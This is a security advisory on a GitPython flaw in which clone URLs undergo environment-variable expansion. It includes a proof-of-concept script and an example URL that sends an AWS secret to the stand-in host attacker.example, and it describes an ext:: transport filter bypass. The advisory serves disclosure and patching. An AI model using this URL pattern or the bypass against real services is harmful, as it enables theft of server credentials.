Sensitive information sent insecurely In gitpython
Description
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL ### Summary Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL. ### Details Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch. Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: git/cmd.py (v3.1.50), lines 907–925: python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess: git/repo/base.py (v3.1.50), lines 1407–1418: python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as: https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point. polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL. Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ### PoC Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH. bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py poc.py: python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and transmitted to the attacker-named host. The PoC intercepts the Popen argv to show the exact URL handed to `git` without performing real network I/O. """ import os import sys import subprocess import tempfile # Simulate a sensitive server-side environment variable. os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" import git # noqa: E402 from git import Git, Repo # noqa: E402 print(f"gitpython version: {git.__version__}") # --- Layer 1: Git.polish_url() directly -------------------------------------- attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git" polished = Git.polish_url(attacker_url) print("\n[Layer 1] polish_url result:") print(f" input : {attacker_url}") print(f" output: {polished}") if os.environ["AWS_SECRET_ACCESS_KEY"] in polished: print(" -> secret SUBSTITUTED into URL by polish_url()") # --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ---------- captured = {} orig_popen = subprocess.Popen class CapturingPopen(orig_popen): def __init__(self, cmd, *a, **kw): if isinstance(cmd, (list, tuple)) and "clone" in cmd: captured["cmd"] = list(cmd) super().__init__(cmd, *a, **kw) subprocess.Popen = CapturingPopen import git.cmd as gitcmd # noqa: E402 gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") try: Repo.clone_from(attacker_url, os.path.join(dest, "out")) except Exception as e: # The clone fails (attacker.example does not resolve); we only need argv. print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}") subprocess.Popen = orig_popen print("\n[Layer 2] argv passed to `git clone` subprocess:") for tok in captured.get("cmd", []): print(f" {tok}") cmd = captured.get("cmd", []) url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None print(f"\n[Layer 2] URL argument given to git: {url_arg}") secret = os.environ["AWS_SECRET_ACCESS_KEY"] if url_arg and secret in url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated " "into the remote clone URL; git would transmit it to attacker.example." ) sys.exit(0) print("\nNOT VULNERABLE") sys.exit(1) Expected output: gitpython version: 3.1.50 [Layer 1] polish_url result: input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> secret SUBSTITUTED into URL by polish_url() [Layer 2] clone_from raised (expected): GitCommandError [Layer 2] argv passed to `git clone` subprocess: git clone -v -- https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example. The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
pypi | 3.1.52 |
Aliases
References